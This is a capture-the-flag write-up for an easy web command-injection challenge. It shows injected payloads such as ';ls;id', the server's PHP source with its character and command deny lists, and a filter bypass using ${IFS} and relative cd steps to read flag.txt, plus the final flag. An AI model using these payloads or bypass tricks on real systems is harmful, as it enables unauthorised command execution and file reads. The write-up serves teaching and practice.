Category: Web / Command Injection Difficulty: Easy Author: 0xjeppe Solves: 339 Description:

This new kid on the block, Bake'n'berg, has taken over the market with some new dough that has 99.2% purity. Ours is not even 60%! Our bakers have been trying to come up with a new P2P-recipe trying all sorts of weird ingredients to raise the purity, but it's so costly this way. Luckily, the developers at Brunnerne have come up with a bash -c 'recipe' that can simulate the baking process. This way we can test ingredients in a simulator to find ingredients that result in a higher purity — without wasting any resources.

Step 1: Initial Recon

  • Trying to execute command:
curl -s "https://baking-bad-9ebc76d0c3ce7ac2.challs.brunnerne.xyz/?ingredient=;ls;id"
curl -s "https://baking-bad-9ebc76d0c3ce7ac2.challs.brunnerne.xyz/?ingredient=%3Bls%3Bid"

Output:

No ingredient!
index.php
quality.sh
static
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Fetching the quality.sh if it is directly accessible through path:
curl -s "https://baking-bad-9ebc76d0c3ce7ac2.challs.brunnerne.xyz/quality.sh"
#!/bin/sh
ingredient="$1"
[ -z "$ingredient" ] && { echo "No ingredient!"; exit 1; }

purity=$(awk -v s="$RANDOM" 'BEGIN{srand(s);printf "%.1f",80+20*rand()}')
echo "Ingredient: $ingredient"
echo "Purity: $purity%"
  • Nothing useful found in quality.sh nothing than a program of printing random purity number.

Step 2: Directory Discovery

;ls${IFS}-laR${IFS}.
None
Recursively listing currect directory

Step 3: index file Analysis

  • Read the Content of index.php:
;head${IFS}-100${IFS}index.php
  • cat is not allowed, so I am using head to read the file cont.
  • index.php:
<?php
$denyListCharacters = [',', '<', '(', ')', '[', ']', '\\', '"', '*', '/', ' '];
$denyListCommands = ['rm', 'mv', 'cp', 'cat', 'echo', 'touch', 'chmod', 'chown', 'kill', 'ps', 'top', 'find'];

function loadSecretRecipe() {
    file_get_contents('/flag.txt');
}

function sanitizeCharacters($input) {
    for ($i = 0; $i < strlen($input); $i++) {
        if (in_array($input[$i], $GLOBALS['denyListCharacters'], true)) {
            return 'Illegal character detected!';
        }
    }
    return $input;
}

function sanitizeCommands($input) {
    foreach ($GLOBALS['denyListCommands'] as $cmd) {
        if (stripos($input, $cmd) !== false) {
            return 'Illegal command detected!';
        }
    }
    return $input;
}

function analyze($ingredient) {
    $tmp = sanitizeCharacters($ingredient);
    if ($tmp !== $ingredient) {
        return $tmp;
    }

    $tmp = sanitizeCommands($ingredient);
    if ($tmp !== $ingredient) {
        return $tmp;
    }

    return shell_exec("bash -c './quality.sh $ingredient' 2>&1");
}

$result = $ingredient !== '' ? analyze($ingredient) : '';
?>
  • Understanding Restrictions:
Denied characters: ',', '<', '(', ')', '[', ']', '\\', '"', '*', '/', ' '
Denied commands: rm, mv, cp, cat, echo, touch, chmod, chown, kill, ps, top, find
  • $ingredient is passed to:
shell_exec("bash -c './quality.sh $ingredient' 2>&1");
  • Input is passed to quality.sh via shell_exec("bash -c './quality.sh $ingredient'").
  • quality.sh only echoes the ingredient and a random purity number.
  • The flag is in /flag.txt but only accessed inside loadSecretRecipe(), which is never called. So, no code path prints the flag directly.
  • /flag.txt exists but cannot be accessed directly via cat or absolute paths.

Step 5: Reading the Flag

  • Command:
;cd${IFS}..;cd${IFS}..;cd${IFS}..;head${IFS}-1${IFS}flag.txt
  • / isn't allowed so no other way to read the flag by /flag.txt.
  • That's why cd ..;cd ..;cd ..;head -1 flag.txt is used.
None
Final flag
  • Flag:
brunner{d1d_1_f0rg37_70_b4n_s0m3_ch4rz?}